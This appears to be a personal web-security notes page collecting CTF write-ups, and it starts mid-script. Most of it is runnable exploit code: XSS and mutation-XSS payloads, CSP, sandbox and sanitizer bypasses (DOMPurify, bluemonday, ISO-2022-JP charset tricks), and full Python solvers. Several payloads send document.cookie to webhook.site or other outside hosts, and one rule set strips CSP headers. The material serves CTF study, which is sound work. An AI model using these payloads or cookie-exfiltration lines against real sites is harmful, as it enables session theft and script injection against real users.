          const inp1 = document.createElement("input")
          inp1.name = name
          inp1.value = value
          condition.appendChild(inp1)
        }
    
        condition.innerHTML = ""
    
        const STAGE_MAPPINGS = [
          ["priority", "1"],
          ["action.type", "modifyHeaders"],
          ["action.requestHeaders.0.header", "content-security-policy-report-only"],
          ["action.requestHeaders.0.operation", "remove"],
          ["action.responseHeaders.0.header", "Content-Security-Policy"],
          ["action.responseHeaders.0.operation", "remove"],
          ["condition.urlFilter", "*"],
          ["condition.initiatorDomains.0", "127.0.0.1"],
          ["condition.initiatorDomains.1", "0.tcp.ngrok.io"],
          ["condition.initiatorDomains.2", "localhost"],
          ["condition.resourceTypes.0", "main_frame"],
          ["condition.resourceTypes.1", "sub_frame"],
        ]
        for (const i in STAGE_MAPPINGS) {
          const st = STAGE_MAPPINGS[i]
          createRules(st[0], st[1])
        }
    
        // Dispatch the click event
        form.dispatchEvent(new Event('click'))
        await sleep(2000)
        location.reload()
      })
    </script>
    

    note value

    <script>
            const w = window.open("/")
            w.onload = () => {
                window.location = "<https://webhook.site/33eb7cc2-9614-487b-ba3e-778b9841c6f3>" + "?" + w.document.cookie
            }
    </script>
    f

    Bypass srcdoc sandbox and csp with session history entry back forward cache

    https://github.com/idekctf/idekctf-2024/tree/main/web/srcdoc-memos-revenge

    solver

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>index.html</title>
    </head>
    <body>
    
    <script>
    
    const sleep = d => new Promise(r => setTimeout(r, d));
    
    const REMOTE = "http://localhost:1337";
    const LOCAL = location.origin;
    
    // this nulls the opener while keeping in the same browsing ctx group,
    // there's also much more elegant ways to do this (read history of channel)
    const openNoOpener = (url, name) => {
        const w = open(url, name)
        w.opener = null
    }
    
    (async() => {
    /*
    what we are doing here is:
    1. opening the flag in a new browsing ctx, but keeping the same browsing ctx group, so that we can refer to that window later;
    2. opening our memo (in the same way) in a new window (so that we send lax cookies). in this window we have
    - a "controller" child frame `child.html` which we use to allow us to do navigations (since we lose the opener-openee relation)
    - a sandboxed (w/o allow-scripts) frame that embeds a memo with an xss payload, so this xss payload has no csp
    also, we sandbox child.html with allow-top-navigation (and other flags to allow it to function normally) so we can navigate top
    (this technique is taken from postviewer v2, googlectf)
    */
    
    openNoOpener(REMOTE, "flag");
    
    await sleep(2000);
    
    let xss = `
    xss
    <iframe srcdoc="win frame<script>
    
    window.open('${LOCAL}?'+encodeURIComponent(open('','flag').document.body.innerHTML))
    
    <\/script>"></iframe>
    `;
    
    let html1 = `
    html1
    <iframe sandbox="allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-top-navigation" src="${LOCAL}/child.html"></iframe>
    <iframe sandbox="allow-same-origin" src="${REMOTE}/memo?memo=${encodeURIComponent(xss)}"></iframe>
    `;
    
    openNoOpener(`${REMOTE}/memo?memo=${encodeURIComponent(html1)}`, "ok");
    
    // await sleep(5);
    })();
    
    </script>
    
    </body>
    </html>
    and 
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>child.html</title>
    </head>
    <body>
    
    <script>
    
    const sleep = d => new Promise(r => setTimeout(r, d));
    
    const REMOTE = "http://localhost:1337";
    const LOCAL = location.origin;
    
    const openNoOpener = (url, name) => {
        const w = open(url, name)
        w.opener = null
    }
    
    (async() => {
    // wait for the frames to load (might need tweaking depending on ping to server)
    await sleep(5000);
    
    /*
    now we can set another memo with an iframe w/o sandbox, navigate any ancestor window away (here, top to a blob uri)
    then history.back(), and the csp is loaded from the policy container stored in the session history entry, which will mean
    that the document will have no csp :)
    
    !! also i implemented no stopping mechanism for this exploit so if you leave it running it'll open 4239402 tabs !!
    */
    
    
    let nosbx = `
    nosbx
    <iframe></iframe>
    <iframe></iframe>
    `;
    
    openNoOpener(`${REMOTE}/memo?memo=${encodeURIComponent(nosbx)}`);
    
    await sleep(2000);
    
    top.location = URL.createObjectURL(new Blob([`
    <script>
    setTimeout(() => {
    history.back();
    }, 500);
    <\/script>
    `], { type: "text/html" }));
    
    await sleep(500);
    })();
    
    </script>
    
    </body>
    </html>
    

    some poc

    <iframe src="http://localhost:1337/" id="exploit" sandbox></iframe>
    
    <script>
        
        const frame = document.querySelector("#exploit");
    
        setTimeout(async () => {
            frame.removeAttribute("sandbox");
            frame.setAttribute("src", "http://localhost:1338/");
        }, 1000)
    </script>

    at

    http://localhost:1338/
    
    
    
    <script>
        setTimeout(() => {
            history.back();
        }, 3000);
    </script>

    Parsing differential between streamed and non-streamed HTML parsing

    htmlsandbox SEKAI CTF 2024

    You may want to look for a parsing differential in streamed and non-streamed HTML parsing.content type encoding isn’t specified

    Basically doing 2 encoding at the sametime is viable if

    https://blog.bawolff.net/2024/09/sekaictf-2024-htmlsandbox.html

    https://0xalessandro.github.io/posts/sekai/

    import random
    import string
    chars = string.digits + string.ascii_uppercase + string.ascii_lowercase
    
    def next():
        return ''.join([random.choice(chars) for _ in range(40000)]).encode()
    
    # we want to create a parsing differential when the HTML is loaded incrementally (streamed) vs loaded inline (all at once)
    # The <meta> CSP tag should be present in the parsed HTML when it's loaded inline, but NOT present when this HTML is loaded incrementally
    # we can take advantage of the fact that the sniffer will not change the encoding of an already parsed HTML chunk
    # we can use ISO-2022-JP charset
    html = b'<html><head>'
    html += b'<!-- '+next()+b' -->'
    html += b'</z \x1b$@ z="zzz \x1b(B > <meta http-equiv="Content-Security-Policy" content="default-src \'none\'">'
    html += b'<!-- '+next()+b' -->'
    html += b'<meta http-equiv="Content-Type" content="text/html; charset=ISO-2022-JP">'
    html += b'</head><body><template shadowrootmode="closed"><script>alert(1)</script></body>'
    
    with open('payload.html', 'wb') as f:
        f.write(html)

    JSConsole XSS

    http://localhost/?alert(top.document.origin)

    Some dompurify test case

    dirty = `${`<a>`.repeat(500)}PAYLOAD${`</a>`.repeat(500)}<img>`;
    expected = `${`<a>`.repeat(498)}${`</a>`.repeat(498)}<img>`;
    clean = DOMPurify.sanitize(dirty);
    assertContains('Test proper handling of nesting-based mXSS 1/3 - Case 3', dirty, clean, expected);

    An Hard Challenge about history back exploitation

    Challenges - Blue Water CTF Blue water ctf challenge

    bluesocial challenge

    Mini XSS gadget if

    There’s different behaviour in chrome and firefox if the server return 431 request headers too large

    in this example it’s using Caddy, which will return 431 if the url lenght is too large, estimate less than 20000 max limit of url character

    Hack.lu CTF 2024 Workout Planner - Zimzi’s Substack

    We send a request with a long URL to Firefox:

    Image

    And check the origin.

    Image

    Let's do the same with Chromium.

    As expected, we received the same response headers.

    Image

    But this page has `null` origin.

    Image

    Element in another iframe isn’t instanceof current frame (iframing the sites 2 times)

    Hack.lu CTF 2024 Workout Planner - Zimzi’s Substack

    An `Element` is an object that represents an HTML element within a document. The `instanceof Element` check determines if a given object is a DOM element. This means it checks whether the current is an actual HTML element like a <div> or <p>.

    intended workout planner

  • use the URL gadget to set arbitrary properties, but HTML Elements are blocked
  • go to attacker server using ?location=https://attacker.com
  • bypass the instanceof Element check by iframing the site two times, then traverse out of the frame using ?top.1.document.body.innerHTML=<xss>. See why this works: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof#instanceof_and_multiple_realms
  • to bypass the CSP, use the open redirect hidden at /plan: <script src='/plan/cdnjs.cloudflare.com%2fajax%2flibs%2fangular.js%2f1.8.3%2fangular.min.js%23'></script>. This works because a redirect removes the path of an allowed src in CSP and all paths on the host are now allowed
  • now that we got angular, we have to access the flag note on a different subdomain. SOP is in the way. And the flag note does not have the CSP gadget because the CSP is conditional.
  • use the deprecated document.domain to opt out of SOP. this still works in Firefox but not anymore in Chrome 😄 https://developer.mozilla.org/en-US/docs/Web/API/Document/domain
  • set document.domain to workoutplanner.fit on your note using angular, and on the flag note opened in a popup (to have cookies) set document.domain using the URL param gadget.
  • then use angular to retrieve the flag from the popup
  • unintended :(: you can skip two thirds of this by sending a very long URL. Caddy will error and the CSP is gone. All three solves did this and did not experience the document.domain glory 😓

    solver

    workoutplanner.fit solv

    Peak Web Exploitation, exploiting browser Alt-Svc + Cross Protocol Attack

    hacklu flux

    GymTok

  • Use ?cdn=attacker.com:1337 to redirect the bot's traffic to you
    • Just forward the traffic to/from gymtok.social:3444 to make the browser happy
    • Read https://httpwg.org/specs/rfc7838.html to undertand how/why/when this works
    • This gives you a MitM position where you can observe the encrypted traffic
  • Part 1: Leak the admin's FTP credentials using a CRIME-like attack
    • The app uses HTTP compression (for responses > 1024 bytes)
    • In the /upload-config?name=xxx response, the user-controlled input is within the compression window of the FTP credentials
    • open() a new tab an make it request 16 different URLS
      • /upload-config?name=admin:0
      • /upload-config?name=admin:1
      • ...
    • Observe the traffic and find the TLS record of the response that is slightly shorter than the others
    • This is the one had the correct guess since it caused the compression to kick in
    • Repeat this until you have the admin's FTP password
  • Part 2: Do a cross-protocol attack to fake an HTTP response
    • The HTTP servers and the FTP server all use the same certificate
    • The FTP server runs in passive mode, meaning it will open a port, establish a TLS layer upon connection, and send the requested file
    • With the leaked FTP password, upload an HTTP respone containing your flag stealer payload (this can be HTTP/1 for some reason)
    • Make the FTP server open a port using RETR payload
    • Redirect the bot's traffic to that port
    • The browser and the FTP server will establish a valid TLS layer and the browser receives the payload
  • XSS

    Xss via "firefox 302 xss", bypass redirect make ws://

    Make error in fetch

    ASIS CTF Finals 2024: Author Writeups | XS-Spin Blog

    First of all, is there any way to cause an error when executing the fetch?

    A simple way is to access a URL containing an authority:

  • e.g. http://foobar@fetch-box.asisctf.com:3000
  • XSS in markdown editor dompurify+nuxt security bypass?

    Writeup My-CTF-Challenges/ASIS CTF Finals 2024/LiveMD at master · maple3142/My-CTF-Challenges

    <div src="data2:<script><iframe useless='">' srcdoc='&lt;script <a href="data2:<link>"></a>>";alert(origin);&lt;/script>'</div>

    Bypass using CVE mb_strpos trick in joomla and MXSS in custom deserialization

    Joomla: PHP Bug Introduces Multiple XSS Vulnerabilities - Security Boulevard

    Cyberjawara national 2025

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
    </head>
    <body>
        <script>
    
            let sc = 'location=`http://webhook/pof?x=${document.cookie}`'
            // sc = `alert(1)`
            let l = window.open(`http://php:1234/#a`, sc)
            setTimeout(() => {
                l.location = `http://php:1234/#%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0nyx<template><math><mtext><table><mglyph><style></template>mare<iframe onload=${encodeURIComponent(sc)}>f`
            }, 100);
        </script>
    </body>
    </html>
    %F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%
     F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F
     0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0
     %F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%
     F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F
     0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0
     %F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0%F0<template><ma
     th><mi><h1><a><h2></a></h2><mglyph><svg><mi><style><a href="</style></template><iframe onload='alert(1)'>"></template>

    You can gain XSS with something like this

    CyberSecurityRumble 2023

    from base64 import b85encode, b85decode
    import string
    def f(text_bytes):
        base85_bytes = b85encode(text_bytes)
        base85_bytes = base85_bytes.replace(b"&", b"/")
        base85_bytes = base85_bytes.replace(b"%", b"")
        base85 = base85_bytes.decode()
        return base85
    a = b85decode("<script>var{cookie}=document;location=`&&017700000001?c=`+cookie<&script><&body><&html>")
    # print(a)print(f(a))

    RabbitTalk multipart or urlencoded differential to stored XSS

    Event NameRITSEC
    GitHub URL-
    Challenge NameRabbitTalk
    Attachments
    References

  • Root cause: the Bun or Elysia middleware calls request.formData() and treats a header like multipart/form-data; boundary=...; a="application/x-www-form-urlencoded" as urlencoded because it only checks for the urlencoded substring. The backend is Express plus Multer and still parses the same body as multipart.
  • Final exploit chain: send a multipart post whose content is an <img onerror> payload, append the extra a="application/x-www-form-urlencoded" parameter so the proxy sanitizes the wrong parse result, store raw HTML, report the post, let the admin bot execute the XSS, have the XSS fetch /api/posts in the admin session and relay that JSON into a new public post, recover the unlisted admin post id, then fetch the flag post content directly.
  • Local caveat: when the app is host-mapped to 127.0.0.1:18082, the bot still seeds the flag on http://localhost:8082. The report URL has to use http://localhost:8082/post/<id> or the XSS runs on the wrong hostname and loses the admin session cookie.
  • Clean local rerun: docker compose down && docker compose up -d && python3 solve.py returned RS{real_flag_not_for_testing}.
  • why it is vulnerable
    // middleware/index.ts
    let form = await request.formData()
    // Bun or Elysia parses the request here and decides whether to sanitize based on this parse result.
    if (keys.some(key1 => dangerous_fields.some(key2 => key1.includes(key2)))) {
        let sanitizedBody = new URLSearchParams()
        // If Bun misclassifies the body as urlencoded, this sanitizes the wrong representation.
        keys.forEach(key => sanitizedBody.append(key, purify.sanitize(form.get(key))))
    }
    
    // backend/index.js
    app.use(express.urlencoded())
    app.use(upload.none())
    // Express plus Multer reparses the original body independently.
    // With the mixed Content-Type header, the backend still treats it as multipart,
    // so the raw HTML reaches post.content unsanitized.
    app.post('/api/posts', (req, res) => {
        let { nickname, title, content } = req.body
        createPost({ nickname, title, content, sessionId: req.sessionID })
    })
    
    // public/post.html
    body.innerHTML = post.content
    // Stored HTML becomes direct JS execution.
    exploit payload
    payload = (
        '<img src=1 onerror="'
        "fetch('/api/posts')"
        ".then(r=>r.text())"
        ".then(text=>fetch('/api/posts',{"
        "method:'POST',"
        "body:new URLSearchParams({content:text,title:'leak-tag',nickname:'relay-tag'})"
        "}))"
        '"'
    )
    
    req = requests.Request('POST', f'{TARGET}/api/posts', files={
        'content': (None, payload),
        'nickname': (None, 'user-tag'),
        'title': (None, 'attack-tag'),
    })
    prep = req.prepare()
    prep.headers['Content-Type'] = (
        prep.headers['Content-Type'] + '; a="application/x-www-form-urlencoded"'
    )
    requests.Session().send(prep)
    solver
    #!/usr/bin/env python3
    import argparse
    import json
    import sys
    import time
    import uuid
    
    import requests
    
    FLAG_TITLE = "the flag... whoag...."
    
    
    def build_payload(leak_title: str, leak_nick: str) -> str:
        js = (
            "fetch('/api/posts')"
            ".then(r=>r.text())"
            ".then(text=>fetch('/api/posts',{"
            "method:'POST',"
            f"body:new URLSearchParams({{content:text,title:'{leak_title}',nickname:'{leak_nick}'}})"
            "}))"
        )
        return f'<img src=1 onerror="{js}">' 
    
    
    def create_attack_post(session: requests.Session, base: str, title: str, nickname: str, payload: str, timeout: float) -> str:
        req = requests.Request(
            "POST",
            f"{base}/api/posts",
            files={
                "content": (None, payload),
                "nickname": (None, nickname),
                "title": (None, title),
            },
        )
        prepped = req.prepare()
        content_type = prepped.headers["Content-Type"]
        prepped.headers["Content-Type"] = f'{content_type}; a="application/x-www-form-urlencoded"'
        response = session.send(prepped, timeout=timeout)
        response.raise_for_status()
        data = response.json()
        if not data.get("success") or "id" not in data:
            raise RuntimeError(f"unexpected create response: {data}")
        return data["id"]
    
    
    def report_post(session: requests.Session, base: str, report_base: str, post_id: str, timeout: float) -> None:
        response = session.post(
            f"{base}/api/report",
            data={"url": f"{report_base}/post/{post_id}"},
            timeout=timeout,
        )
        response.raise_for_status()
        data = response.json()
        if not data.get("success"):
            raise RuntimeError(f"report failed: {data}")
    
    
    def get_posts(session: requests.Session, base: str, timeout: float) -> list[dict]:
        response = session.get(f"{base}/api/posts", timeout=timeout)
        response.raise_for_status()
        return response.json()
    
    
    def get_post(session: requests.Session, base: str, post_id: str, timeout: float) -> dict:
        response = session.get(f"{base}/api/posts/{post_id}", timeout=timeout)
        response.raise_for_status()
        return response.json()
    
    
    def wait_for_flag(session: requests.Session, base: str, leak_title: str, timeout: float, total_wait: float, poll_interval: float) -> str:
        deadline = time.time() + total_wait
        while time.time() < deadline:
            posts = get_posts(session, base, timeout)
            leak_post = next((post for post in posts if post["title"] == leak_title), None)
            if leak_post is not None:
                leak_content = get_post(session, base, leak_post["id"], timeout)["content"]
                leaked_posts = json.loads(leak_content)
                flag_post = next((post for post in leaked_posts if post["title"] == FLAG_TITLE), None)
                if flag_post is not None:
                    return get_post(session, base, flag_post["id"], timeout)["content"]
            time.sleep(poll_interval)
        raise RuntimeError("flag not found before timeout")
    
    
    def main() -> int:
        parser = argparse.ArgumentParser()
        parser.add_argument("--target-base", default="http://127.0.0.1:18082")
        parser.add_argument("--report-base", default="http://localhost:8082")
        parser.add_argument("--timeout", type=float, default=5.0)
        parser.add_argument("--wait-seconds", type=float, default=20.0)
        parser.add_argument("--poll-interval", type=float, default=1.0)
        args = parser.parse_args()
    
        tag = uuid.uuid4().hex[:8]
        attack_title = f"attack-{tag}"
        attack_nick = f"user-{tag}"
        leak_title = f"leak-{tag}"
        leak_nick = f"relay-{tag}"
        payload = build_payload(leak_title, leak_nick)
        session = requests.Session()
    
        post_id = create_attack_post(session, args.target_base.rstrip('/'), attack_title, attack_nick, payload, args.timeout)
        print(f"[+] Created attack post: {post_id}")
        report_post(session, args.target_base.rstrip('/'), args.report_base.rstrip('/'), post_id, args.timeout)
        print(f"[+] Reported post to bot via {args.report_base.rstrip('/')}/post/{post_id}")
        flag = wait_for_flag(session, args.target_base.rstrip('/'), leak_title, args.timeout, args.wait_seconds, args.poll_interval)
        print(flag)
        return 0
    
    
    if __name__ == "__main__":
        raise SystemExit(main())

    Apache type-map + ISO-2022-JP charset switch defeats bluemonday + DOMPurify

    Event NameUmum - Finals 2025
    GitHub URL-
    Challenge Namedark-days
    Attachments
    References

  • Decisive primitive: Apache's default AddHandler type-map var (in mod_mime) treats any filename whose segments include .var as an RFC 2295 type-map, ignoring .svg. The body section is re-served with whatever Content-type the type-map declares — here text/html; charset=iso-2022-jp — overriding the original image/svg+xml even with X-Content-Type-Options: nosniff set, because this is server-side handler selection, not MIME sniffing.
  • Sanitizer chain: Flask WAF strips non-printable bytes → Go bluemonday strict policy (allows svg + id) → Node DOMPurify on JSDOM. &#x1b; is printable (5 ASCII chars) so it slips past the WAF; bluemonday's html tokenizer decodes the entity to a raw 0x1b byte inside the id attribute value; jsdom's parse5 serializer does NOT re-escape control chars (only & "  ), so 0x1b rides all the way to disk.
  • Charset parsing differential: under iso-2022-jp the bytes 1b 24 42 switch the HTML decoder to JIS X 0208 and 1b 28 42 switch it back. The 7 ASCII bytes "></svg> between them are eaten as JIS multi-byte garbage, so the FIRST <svg id="... attribute value keeps consuming. The first literal " the decoder hands the tokenizer is the one inside the SECOND <svg id=", which closes the first attribute. Everything after — ><img src=x onerror=...> — is then tokenized as a fresh <img> element in HTML context (not as attribute text).
  • Bot context: bot/app.js sets a flag cookie on APP_URL's host (default http://localhost/) then navigates a fresh page to the operator-supplied URL via /visit?url=.... Same-host fetch of /uploads/a.var.<id>.svg sends the cookie; the parsed <img onerror> reads document.cookie and exfils.
  • Environment caveats: depends on mod_mime being enabled (Ubuntu apache2 default) with AddHandler type-map var; mod_negotiation does NOT need to be enabled — the handler comes from mime.conf. The filename's .var segment must survive PHP's sanitize_output_stem (regex /[^a-zA-Z0-9_.-]+/ keeps .), so uploading as a.var.svg is enough — the saved file becomes a.var.<hex16>.svg.
  • why it is vulnerable
    # src/waf/app.py — strips raw 0x1b but keeps the printable entity &#x1b;
    def _sanitize_upload_payload(payload: bytes) -> bytes:
        sanitized = "".join(
            ch for ch in _decode_text_payload(payload)
            if ch.isprintable() or ch in "\n\r\t"  # 0x1b is NOT printable
        )
        return sanitized.encode("utf-8")
    // src/sanitizer-go/main.go — bluemonday allows <svg id=...>; the Go html
    // tokenizer decodes &#x1b; to a literal 0x1b in the attribute value, and
    // the serializer only re-escapes & < > " ' — control bytes pass through.
    p := bluemonday.StrictPolicy()
    p.AllowElements("svg", ...)
    p.AllowAttrs("id", ...).Globally()
    // src/scripts/sanitize.mjs — jsdom's parse5 serializer keeps 0x1b in attrs
    const DOMPurify = createDOMPurify(new JSDOM("").window);
    const sanitized = DOMPurify.sanitize(raw);
    # /etc/apache2/mods-available/mime.conf (loaded by default mod_mime)
    # Any file whose name contains a `.var` extension is processed as a type-map.
    AddHandler type-map var
    exploit payload

    Upload with filename a.var.svg so the stored file is a.var.<hex>.svg, which Apache routes through the type-map handler:

    Content-language: en
    Content-type: text/html; charset=iso-2022-jp
    Body:----foo----
    <svg id="&#x1b;$B"></svg>&#x1b;(B<svg id="><img src=x onerror=location='https://webhook.site/YOUR-ID/'+document.cookie>"></svg>
    ----foo----

    After the full pipeline, Apache serves the body section with these headers:

    Content-Type: text/html; charset=iso-2022-jp
    Content-Language: en

    and the body bytes contain real 1b 24 42 / 1b 28 42 (not entities).

    solver
    #!/usr/bin/env python3
    # Run: python3 solver.py http://TARGET https://webhook.site/YOUR-ID http://BOT_ORIGIN
    # BOT_ORIGIN is what the bot uses to reach the app (default http://localhost).
    import sys, re, requests
    from urllib.parse import quote
    
    TARGET     = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:9000"
    WEBHOOK    = sys.argv[2] if len(sys.argv) > 2 else "https://webhook.site/REPLACE-ME"
    BOT_ORIGIN = sys.argv[3] if len(sys.argv) > 3 else "http://localhost"
    
    ESC = "&#x1b;"  # printable through the Flask WAF, decoded to 0x1b by bluemonday
    PAYLOAD = (
        "Content-language: en\n"
        "Content-type: text/html; charset=iso-2022-jp\n"
        "Body:----foo----\n"
        f'<svg id="{ESC}$B"></svg>{ESC}(B'
        f'<svg id="><img src=x onerror=location=\'{WEBHOOK}/\'+document.cookie>"></svg>\n'
        "----foo----\n"
    )
    
    # Filename MUST contain `.var` so Apache's type-map handler activates.
    files = {"svg_file": ("a.var.svg", PAYLOAD.encode(), "image/svg+xml")}
    r = requests.post(f"{TARGET}/", files=files, timeout=30); r.raise_for_status()
    path = re.search(r'href="(/uploads/[^"]+)"', r.text).group(1)
    print("[+] uploaded ->", path)
    
    bot_url = f"{BOT_ORIGIN}{path}"  # bot sees http://localhost, not the host port
    requests.get(f"{TARGET}/visit?url={quote(bot_url)}", timeout=30).raise_for_status()
    print("[+] bot fired -- check", WEBHOOK)

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.